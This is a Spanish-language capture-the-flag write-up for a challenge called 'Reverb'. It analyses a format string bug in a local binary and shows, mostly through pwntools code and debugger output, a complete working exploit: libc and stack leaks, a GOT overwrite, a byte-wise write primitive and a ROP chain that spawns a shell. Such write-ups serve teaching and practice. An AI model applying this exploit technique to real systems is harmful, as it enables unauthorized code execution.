xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



World Wide

Reverb



Reversing


Si ejecutamos el binario nos devuelve como output lo que ingresemos como input

❯ ./chall  
>> AAAA
AAAA
>>

Analizaremos el funcionamiento del programa asi que iniciamos desensamblando la función main, esta establece que todo el stdin, stdout y stderr de redirige al socket

Luego de mostrar un prompt recibe en una variable buffer 0x180 o 384 bytes con fgets, luego llama a la función check y si devuelve 1 lo devuelve con printf sin ningun formato, esto puede ocasionar una vulnerabilidad de tipo format string

La función check inicia definiendo un iterador i a 0, luego inicia un bucle que se ejecutará mientras i sea menor o igual a 383, osea toda la longitud del buffer

Por cada iteración accede al byte del buffer en la posición i y lo compara con %, en caso de que no se cumpla añade una unidad a i y vuelve nuevamente al bucle

Si encuentra el byte % añade una unidad a counter y a i, luego accede al byte en la posición i y la compara con 0, aqui tenemos la primera de varias limitaciones

Si pasa la condición compara si el byte se encuentra entre el rango 0-9, ese rango es invalido y si existe simplemente sale del programa sin llegar al format string

Las condiciones anteriores nos dicen que luego del byte % al intentar explotar la vulnerabilidad no podemos acceder los datos en el rango de posiciones 1 a 9, ni podemos anteponer el byte correspondiente a 0 en un intento de cumplirla

❯ ./chall  
>> %1$p

❯ ./chall  
>> %01$p

Si pasa las 2 condiciones anteriores llama a la función strtol para obtener el entero que forman los 2 bytes y compara que el resultado sea menor o igual a 57

Esto supone una limitación bastante importante a la hora de explotar la vulnerabilidad ya que solo podemos usar un corto rango de posiciones desde la 10 hasta la 57

❯ ./chall  
>> %58$p


Explotación


Iniciamos mirando las protecciones con checksec, el NX nos impedirá ejecutar un shellcode en el stack y el Canary establece una stack cookie en rbp - 8, luego compara que no se haya modificado antes del ret evitando explotaciones del stack

❯ checksec chall
[*] '/home/user/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)  

Sabemos que el rango válido es del 10 al 57, entonces podemos lekear los punteros a partir del 10 usando el formato %p, lo haremos y veremos como se comporta

❯ ./chall
>> %10$p.%11$p.%12$p
0x31252e7024303125.0x243231252e702431.0xa70  
>>

Probaremos enviar los punteros en las posiciones válidas una a la vez, mirando los resultados luego del 10 todos son punteros null y ningun leak interesante

#!/usr/bin/python3
from pwn import process, log

shell = process("./chall")

for i in range(10, 58):
    shell.sendlineafter(b">> ", f"%{i}$p".encode())  
    leak = shell.recvline().strip().decode()

    log.info(f"{i}: {leak}")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 1247758
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']  
[*] 10: 0x7024303125
[*] 11: (nil)
[*] 12: (nil)
[*] 13: (nil)
[*] 14: (nil)
[*] 15: (nil)
[*] 16: (nil)
[*] 17: (nil)
[*] 18: (nil)
[*] 19: (nil)
.............
[*] 50: (nil)
[*] 51: (nil)
[*] 52: (nil)
[*] 53: (nil)
[*] 54: (nil)
[*] 55: (nil)
[*] 56: (nil)
[*] 57: (nil)
[*] Switching to interactive mode
>> $

El único puntero que nos muestra es en payload enviado en hexadecimal, lo que nos quiere decir que desde el primer puntero refleja nuestros datos y no valores del stack

❯ unhex 7024303125 | rev  
%10$p

Entonces, podemos enviar %11$p para hacer un leak de la posición 11 y luego rellenar con . a 8 bytes que es el tamaño del puntero, luego enviamos AAAABBBB, el resultado es que el leak muestra estos caractéres de la posición 11 como puntero

>> %11$p...AAAABBBB
0x4242424241414141...AAAABBBB  
>>

Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got de la función strtol que contiene una referencia a su posición en libc

pwndbg> got -r strtol
Filtering by symbol name: strtol

State of the GOT of /home/user/chall:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter  
[0x404030] strtol@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
pwndbg>

También necesitamos el offset ésta la misma función pero en libc que obtenemos con readelf, esto para restarle esa cantidad al leak y obtener la dirección base de libc

❯ readelf -s libc.so.6 | grep strtol@
  1204: 00000000000474e0    22 FUNC    WEAK   DEFAULT   15 strtol@@GLIBC_2.2.5  

Entonces, ahora el exploit usa %11$s para mostrar como string el contenido de la posición 11, rellenamos el qword y para esa posición le pasamos la entrada got de la función strtol, entonces ejecutará algún tipo de printf(strtol@got) que muestra la dirección de strtol en memoria y al restar el offset nos da la dirección base de libc

#!/usr/bin/python3
from pwn import gdb, p64, u64, log

shell = gdb.debug("./chall", "continue")

payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)

libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0  
log.info(f"Libc base: {hex(libc_base)}")

shell.interactive()

Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb es exactamente la misma

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 834697
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']  
[*] Libc base: 0x7c488ce00000
[*] Switching to interactive mode
>> $

^C
Program received signal SIGINT, Interrupt.
0x00007c488cf147e2 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x404000           0x405000 rw-p     1000   5000 /home/user/chall
►   0x7c488ce00000     0x7c488ce28000 r--p    28000      0 /home/user/libc.so.6
►   0x7c488ce28000     0x7c488cfbd000 r-xp   195000  28000 /home/user/libc.so.6
►   0x7c488cfbd000     0x7c488d015000 r--p    58000 1bd000 /home/user/libc.so.6
►   0x7c488d015000     0x7c488d016000 ---p     1000 215000 /home/user/libc.so.6
►   0x7c488d016000     0x7c488d01a000 r--p     4000 215000 /home/user/libc.so.6
►   0x7c488d01a000     0x7c488d01c000 rw-p     2000 219000 /home/user/libc.so.6
    0x7c488d093000     0x7c488d095000 r--p     2000      0 /home/user/ld-linux-x86-64.so.2  
pwndbg>

Algo a tener en cuenta es que aunque tenemos un leak de libc aun necesitamos más leaks por ejemplo del stack, para ello eliminaremos la última limitación, toma el valor de retorno de la llamada a strtol y compara que sea menor o igual que 57

Lo que haremos es modificar la entrada got de strtol a una función que siempre devuelva un valor de retorno bajo por ejemplo getenv que casi siempre devuelve 0

❯ readelf -s libc.so.6 | grep getenv
  1808: 0000000000044b70   229 FUNC    GLOBAL DEFAULT   15 getenv@@GLIBC_2.2.5  

Crearemos una función que escriba un qword en una dirección específica a través de un format string y una primitiva write-what-where, iniciamos creando un array con 8 tuplas que contienen la dirección donde queremos escribir el byte y el byte que queremos escribir, una vez lo creamos ordenaremos las tuplas usando sorted

def write(what, where):
    payload  = b""

    array = []

    for i in range(8):
        array.append((where + i, what & 0xff))  
        what >>= 8

    array = sorted(array, key=lambda x: x[1])

Sabemos que el buffer es de 384 bytes y al final enviaremos 8 qwords de las direcciones, lo que nos deja un rango de 49 posiciones, iniciaremos ahí ya que si fuera la 50 usariamos los 384 que no nos dejaría espacio para el salto de linea

❯ python3 -q
>>> (49 - 10 + 8) * 8  
376
>>> (50 - 10 + 8) * 8  
384
>>>

Entonces una vez enviamos el payload rellenamos hasta los 312 bytes para llenar las posiciones, a partir de la posición 49 enviaremos los 8 qwords de las direcciones

>>> (49 - 10) * 8  
312
>>>

Nuestro payload inicia escribiendo un payload de format string para escribir en la posición indicada con % partiendo desde la 49 un byte con $hhn que toma de la resta del valor menos los bytes escritos, luego de ello rellenamos hasta 312 bytes y finalizamos con los 8 qwords en las posiciones donde se deben escribir los bytes

    written = 0
    i = 49

    for address, value in array:
        payload += b"A" * (value - written)  
        payload += f"%{i}$hhn".encode()

        written = value
        i += 1

    payload += b"A" * (312 - len(payload))

    for address, value in array:
        payload += p64(address)

    shell.sendlineafter(b">> ", payload)

Ahora nuestro exploit luce de esta forma, luego de definir la función escribimos en la entrada got de strtol la dirección hacia la función getenv, esto lo podemos comprobar desde gdb, ahora al llamar a strtol en realidad llamará a getenv

#!/usr/bin/python3
from pwn import gdb, p64, u64

shell = gdb.debug("./chall", "continue")

def write(what, where):
    payload  = b""

    array = []

    for i in range(8):
        array.append((where + i, what & 0xff))
        what >>= 8

    array = sorted(array, key=lambda x: x[1])

    written = 0
    i = 49

    for address, value in array:
        payload += b"A" * (value - written)
        payload += f"%{i}$hhn".encode()

        written = value
        i += 1

    payload += b"A" * (312 - len(payload))

    for address, value in array:
        payload += p64(address)

    shell.sendlineafter(b">> ", payload)

payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)

libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0  

write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc
shell.interactive()

^C
Program received signal SIGINT, Interrupt.
0x00007382ccd147e2 in read () from ./libc.so.6
pwndbg> x/gx 0x404030
0x404030 <strtol@got.plt>:      0x00007382ccc44b70  
pwndbg> x/gx *(long long *)(0x404030)
0x7382ccc44b70 <getenv>:        0x56415741fa1e0ff3  
pwndbg>

Una vez la condición se cumple podemos hacer leaks mas allá de la posición 57

#!/usr/bin/python3
from pwn import gdb, p64, u64, log

shell = gdb.debug("./chall", "continue")

def write(what, where):
    ...................

payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)

libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0  

write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc

for i in range(50, 70):
    shell.sendlineafter(b">> ", f"%{i}$p".encode())
    leak = shell.recvline().strip().decode()

    log.info(f"{i}: {leak}")

shell.interactive()

El leak de la posición 59 muestra la stack cookie, lo sabemos porque termina con el byte 00, además la posición 65 muestra una dirección perteneciente al stack

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 1249736
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']  
[*] 50: 0x404037
[*] 51: 0x404033
[*] 52: 0x404031
[*] 53: 0x404030
[*] 54: 0x404035
[*] 55: 0x404034
[*] 56: 0x404032
[*] 57: 0xa
[*] 58: (nil)
[*] 59: 0x5731707d0f649300
[*] 60: 0x1
[*] 61: 0x71953ce29d90
[*] 62: (nil)
[*] 63: 0x40137a
[*] 64: 0x100000000
[*] 65: 0x7ffdab10fb98
[*] 66: (nil)
[*] 67: 0xb23607c7e97a057f
[*] 68: 0x7ffdab10fb98
[*] 69: 0x40137a
[*] Switching to interactive mode
>> $

pwndbg> vmmap 0x7ffdab10fb98
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x71953d1eb000     0x71953d1ed000 rw-p     2000  39000 /home/user/ld-linux-x86-64.so.2  
►   0x7ffdab0f1000     0x7ffdab112000 rw-p    21000      0 [stack] +0x1eb98
    0x7ffdab11b000     0x7ffdab11f000 r--p     4000      0 [vvar]
pwndbg>

Una vez hacemos el leak del stack restauramos strtol por su valor inicial, entonces si intentamos mostrar un valor mayor a 57 saldrá del programa lo que quiere decir que llegará al ret del main para salir, podemos usar ese ret para ejecutar un ropchain

#!/usr/bin/python3
from pwn import gdb, p64, u64, log

shell = gdb.debug("./chall", "b *main+300\ncontinue")

def write(what, where):
    ...................

payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)

libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0  
write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc

shell.sendlineafter(b">> ", b"%65$p")
leak = int(shell.recvline().strip(), 16)

log.info(f"Stack leak: {hex(leak)}")

write(libc_base + 0x0474e0, 0x404030) # strtol@got = strtol@glibc
shell.sendlineafter(b">> ", b"%58$p")

shell.interactive()

Una vez llegamos al breakpoint del ret en main+300 podemos ver el valor del registro rsp, si restamos el valor del leak a el nos da un offset de 0x110 bytes, si escribimos en la dirección de rsp al llegar al ret ejecutará lo que escribamos ahí

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 1272760
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall']  
[*] Stack leak: 0x7ffc5b8e4218
[*] Switching to interactive mode
$

Breakpoint 1, 0x00000000004014a6 in main ()  
pwndbg> p/x $rsp
$1 = 0x7ffc5b8e4108
pwndbg> p/x 0x7ffc5b8e4218 - 0x7ffc5b8e4108
$2 = 0x110
pwndbg>

Nuestro exploit calcula la posición del rsp cuando llegamos al ret luego escribe ahí con la primitiva write-what-where el ropchain una dirección a la vez hasta completarlo

#!/usr/bin/python3
from pwn import process, p64, u64

shell = process("./chall")

def write(what, where):
    payload  = b""

    array = []

    for i in range(8):
        array.append((where + i, what & 0xff))
        what >>= 8

    array = sorted(array, key=lambda x: x[1])

    written = 0
    i = 49

    for address, value in array:
        payload += b"A" * (value - written)
        payload += f"%{i}$hhn".encode()

        written = value
        i += 1

    payload += b"A" * (312 - len(payload))

    for address, value in array:
        payload += p64(address)

    shell.sendlineafter(b">> ", payload)

payload = b"%11$s..." + p64(0x404030) # strtol@got
shell.sendlineafter(b">> ", payload)

libc_base = u64(shell.recvuntil(b"...")[:-3].ljust(8, b"\x00")) - 0x474e0  
write(libc_base + 0x044b70, 0x404030) # strtol@got = getenv@glibc

shell.sendlineafter(b">> ", b"%65$p")
rsp = int(shell.recvline().strip(), 16) - 0x110

write(libc_base + 0x02a3e5, rsp + 0)  # pop rdi; ret;
write(libc_base + 0x1d8678, rsp + 8)  # "/bin/sh"
write(libc_base + 0x029139, rsp + 16) # ret;
write(libc_base + 0x050d70, rsp + 24) # system()

write(libc_base + 0x0474e0, 0x404030) # strtol@got = strtol@glibc
shell.sendlineafter(b">> ", b"%58$p")

shell.interactive()

Luego de escribir el ropchain y obligar ejecutar el ret intentando acceder a una posición invalida como 58, se ejecuta lo que escribimos y obtenemos una shell

❯ python3 exploit.py
[+] Starting local process './chall': pid 1283781  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$